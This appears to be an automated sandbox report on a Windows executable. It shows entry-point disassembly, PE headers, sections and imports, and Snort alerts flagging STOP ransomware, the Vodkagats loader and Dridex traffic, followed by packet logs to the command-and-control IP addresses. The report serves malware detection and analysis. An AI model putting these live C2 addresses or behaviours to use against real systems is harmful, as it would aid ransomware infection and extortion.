jne 00007F6A00EA116Dh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007F6A00EA115Fh
xor ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007F6A00EA118Bh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007F6A00EA2825h
test eax, eax
jne 00007F6A00EA118Ah
push 0000001Ch
call 00007F6A00EA1261h
pop ecx
call 00007F6A00EA67CDh
test eax, eax
jne 00007F6A00EA118Ah
push 00000010h
call 00007F6A00EA1250h
pop ecx
call 00007F6A00EA6C48h
and dword ptr [ebp-04h], 00000000h
call 00007F6A00EA4631h
test eax, eax
jns 00007F6A00EA118Ah
push 0000001Bh
call 00007F6A00EA1236h
pop ecx
call dword ptr [004120B8h]
mov dword ptr [040A0E24h], eax
call 00007F6A00EA6C63h
mov dword ptr [004B336Ch], eax
call 00007F6A00EA6820h
test eax, eax
jns 00007F6A00EA118Ah

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[IMP] VS2008 SP1 build 30729
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x19e04	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3ca1000	0xd808	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x121f0	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x19320	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x12000	0x188	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x10255	0x10400	8b4f26de1033702e2287bfa730945b13	False	0.5994140625	data	6.708828584034878	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x12000	0x86f0	0x8800	8baba71b4702309f2038c8216f4418de	False	0.44973575367647056	data	5.086812386288902	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1b000	0x3c85e28	0x98400	f701c3185be872ab21bdf5321fd0f41e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3ca1000	0xd808	0xda00	3a11505c6616b56ee802507a976f5c84	False	0.507454128440367	data	5.383648486990903	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AFX_DIALOG_LAYOUT	0x3cade68	0xe	data			1.5714285714285714
AFX_DIALOG_LAYOUT	0x3cade78	0xe	data			1.5714285714285714
RT_ICON	0x3ca14d0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.5626332622601279
RT_ICON	0x3ca2378	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.5469314079422383
RT_ICON	0x3ca2c20	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.6228323699421965
RT_ICON	0x3ca3188	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.46141078838174276
RT_ICON	0x3ca5730	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.48944652908067543
RT_ICON	0x3ca67d8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.49385245901639346
RT_ICON	0x3ca7160	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.4530141843971631
RT_ICON	0x3ca7630	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.4189765458422175
RT_ICON	0x3ca84d8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.47653429602888087
RT_ICON	0x3ca8d80	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.5766129032258065
RT_ICON	0x3ca9448	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.47760115606936415
RT_ICON	0x3ca99b0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.46898340248962656
RT_ICON	0x3cabf58	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.4842870544090056
RT_ICON	0x3cad000	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.5024590163934426
RT_ICON	0x3cad988	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.5593971631205674
RT_STRING	0x3cae070	0x3d2	data	Romanian	Romania	0.46319018404907975
RT_STRING	0x3cae448	0x3bc	data	Romanian	Romania	0.4592050209205021
RT_GROUP_ICON	0x3ca75c8	0x68	data	Romanian	Romania	0.6923076923076923
RT_GROUP_ICON	0x3caddf0	0x76	data	Romanian	Romania	0.6779661016949152
RT_VERSION	0x3cade88	0x1e4	data			0.5392561983471075

Imports

DLL	Import
KERNEL32.dll	LocalCompact, GetComputerNameW, CreateHardLinkA, BackupSeek, GetTickCount, GetConsoleAliasesA, GetWindowsDirectoryA, EnumTimeFormatsA, GetUserDefaultLangID, SetCommState, LoadLibraryW, GetLocaleInfoW, ReadConsoleInputA, WriteConsoleW, GetModuleFileNameW, MultiByteToWideChar, GetTempPathW, InterlockedExchange, GetLastError, FindResourceExW, SetLastError, GetThreadLocale, GetProcAddress, SetFileAttributesA, BuildCommDCBW, LoadLibraryA, LocalAlloc, GetExitCodeThread, AddAtomW, RemoveDirectoryW, GlobalFindAtomW, GetOEMCP, GlobalUnWire, LoadLibraryExA, SetCalendarInfoA, GetConsoleProcessList, GetVolumeInformationW, ChangeTimerQueueTimer, GetSystemDefaultLangID, GetStringTypeW, HeapAlloc, EncodePointer, DecodePointer, IsProcessorFeaturePresent, GetCommandLineA, RaiseException, RtlUnwind, IsDebuggerPresent, HeapFree, ExitProcess, GetModuleHandleExW, WideCharToMultiByte, GetStdHandle, WriteFile, GetProcessHeap, EnterCriticalSection, LeaveCriticalSection, FlushFileBuffers, GetConsoleCP, GetConsoleMode, DeleteCriticalSection, HeapSize, GetFileType, GetStartupInfoW, CloseHandle, GetCurrentThreadId, GetModuleFileNameA, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, FreeEnvironmentStringsW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, InitializeCriticalSectionAndSpinCount, Sleep, GetCurrentProcess, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetModuleHandleW, LoadLibraryExW, IsValidCodePage, GetACP, GetCPInfo, OutputDebugStringW, SetStdHandle, SetFilePointerEx, HeapReAlloc, LCMapStringW, CreateFileW
ADVAPI32.dll	DeregisterEventSource
WINHTTP.dll	WinHttpOpen

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/24/24-17:37:15.248400	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49711	80	192.168.2.8	186.145.236.18
04/24/24-17:37:15.248400	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49711	80	192.168.2.8	186.145.236.18
04/24/24-17:37:11.734536	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49710	186.145.236.18	192.168.2.8
04/24/24-17:37:10.976655	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49708	80	192.168.2.8	186.13.17.220
04/24/24-17:37:11.771819	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49709	186.145.236.18	192.168.2.8
04/24/24-17:37:10.976655	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49708	80	192.168.2.8	186.13.17.220
04/24/24-17:37:11.036753	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49710	80	192.168.2.8	186.145.236.18

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 17:37:03.098165035 CEST	49705	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:03.098207951 CEST	443	49705	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:03.098273993 CEST	49705	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:03.108887911 CEST	49705	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:03.108903885 CEST	443	49705	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:03.447998047 CEST	443	49705	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:03.448164940 CEST	49705	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:03.501955032 CEST	49705	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:03.501983881 CEST	443	49705	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:03.502501965 CEST	443	49705	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:03.502579927 CEST	49705	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:03.515929937 CEST	49705	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:03.560112000 CEST	443	49705	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:04.221719980 CEST	443	49705	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:04.221839905 CEST	49705	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:04.221860886 CEST	443	49705	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:04.221904993 CEST	49705	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:04.223685026 CEST	49705	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:04.223704100 CEST	443	49705	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:05.497060061 CEST	49706	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:05.497097969 CEST	443	49706	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:05.497153997 CEST	49706	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:05.520771027 CEST	49706	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:05.520787954 CEST	443	49706	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:05.861402988 CEST	443	49706	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:05.861531019 CEST	49706	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:05.865916967 CEST	49706	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:05.865928888 CEST	443	49706	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:05.866275072 CEST	443	49706	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:05.866326094 CEST	49706	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:05.867885113 CEST	49706	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:05.912128925 CEST	443	49706	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:06.138803005 CEST	49707	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:06.138839006 CEST	443	49707	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:06.138905048 CEST	49707	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:06.163338900 CEST	49707	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:06.163352966 CEST	443	49707	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:06.493557930 CEST	443	49707	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:06.493730068 CEST	49707	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:06.498279095 CEST	49707	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:06.498300076 CEST	443	49707	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:06.498569965 CEST	443	49707	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:06.498629093 CEST	49707	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:06.507831097 CEST	49707	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:06.548155069 CEST	443	49707	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:06.647768021 CEST	443	49706	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:06.647869110 CEST	443	49706	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:06.647967100 CEST	49706	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:06.648174047 CEST	49706	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:06.648194075 CEST	443	49706	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:07.273442984 CEST	443	49707	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:07.273515940 CEST	49707	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:07.273530960 CEST	443	49707	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:07.273559093 CEST	443	49707	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:07.273605108 CEST	49707	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:07.273909092 CEST	49707	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:07.273924112 CEST	443	49707	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:10.600733995 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:10.766345024 CEST	49709	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:10.766370058 CEST	49710	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:10.976308107 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:10.976419926 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:10.976655006 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:11.036341906 CEST	80	49710	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:11.036447048 CEST	49710	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:11.036752939 CEST	49710	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:11.053872108 CEST	80	49709	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:11.053966045 CEST	49709	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:11.054109097 CEST	49709	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:11.356137991 CEST	80	49710	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:11.391153097 CEST	80	49709	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:11.409373045 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:11.734535933 CEST	80	49710	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:11.734558105 CEST	80	49710	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:11.734644890 CEST	49710	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:11.734774113 CEST	49710	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:11.771819115 CEST	80	49709	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:11.771924019 CEST	80	49709	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:11.771939993 CEST	49709	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:11.771975994 CEST	49709	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:11.787127972 CEST	49709	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:12.003483057 CEST	80	49710	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:12.069996119 CEST	80	49709	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:12.157140970 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.157289028 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.157414913 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.157429934 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.157459974 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.157480001 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.158433914 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.158509970 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.532756090 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.532921076 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.533030987 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.533085108 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.533291101 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.533341885 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.533504009 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.533615112 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.534497976 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.534549952 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.534996986 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.535047054 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.535373926 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.535432100 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.908318043 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.908469915 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.908859015 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.908925056 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.909082890 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.909140110 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.909149885 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.909194946 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.909202099 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.909241915 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.909300089 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.909343958 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.909478903 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.909492016 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.909526110 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.909540892 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.909579992 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.909619093 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.909624100 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.909668922 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.909837961 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.909877062 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.909879923 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.909924984 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.909960985 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.910002947 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:12.910046101 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:12.910095930 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.283960104 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.284009933 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.284466028 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.284502029 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.284692049 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.284724951 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.284749985 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.284779072 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.284831047 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.284872055 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.284946918 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.284980059 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.285028934 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.285058975 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.285084009 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.285113096 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.285207033 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.285234928 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.285259008 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.285286903 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.285346031 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.285376072 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.285459995 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.285491943 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.285677910 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.285710096 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.285762072 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.285800934 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.285844088 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.285880089 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.285913944 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.285959005 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.285995960 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.286031961 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.286082029 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.286118984 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.286175966 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.286212921 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.286216974 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.286248922 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.286299944 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.286335945 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.286360025 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.286397934 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.286403894 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.286432028 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.286457062 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.286494017 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.286542892 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.286581039 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.286623955 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.286665916 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.286674976 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.286705971 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.286720991 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.286751986 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.660497904 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.660553932 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.660572052 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.660618067 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.661495924 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.661647081 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.661685944 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.661732912 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.663055897 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.663111925 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.663218975 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.663260937 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.663465023 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.663516045 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.663722992 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.663763046 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.664577007 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.664645910 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.664773941 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.664814949 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.664832115 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.664870977 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.665132046 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.665177107 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.665314913 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.665422916 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.665462017 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.665503979 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.665934086 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.665946960 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.665992022 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.666059017 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.666101933 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.666807890 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.666851044 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.666934013 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.666974068 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.667052031 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.667093039 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.667103052 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.667144060 CEST	49708	80	192.168.2.8	186.13.17.220
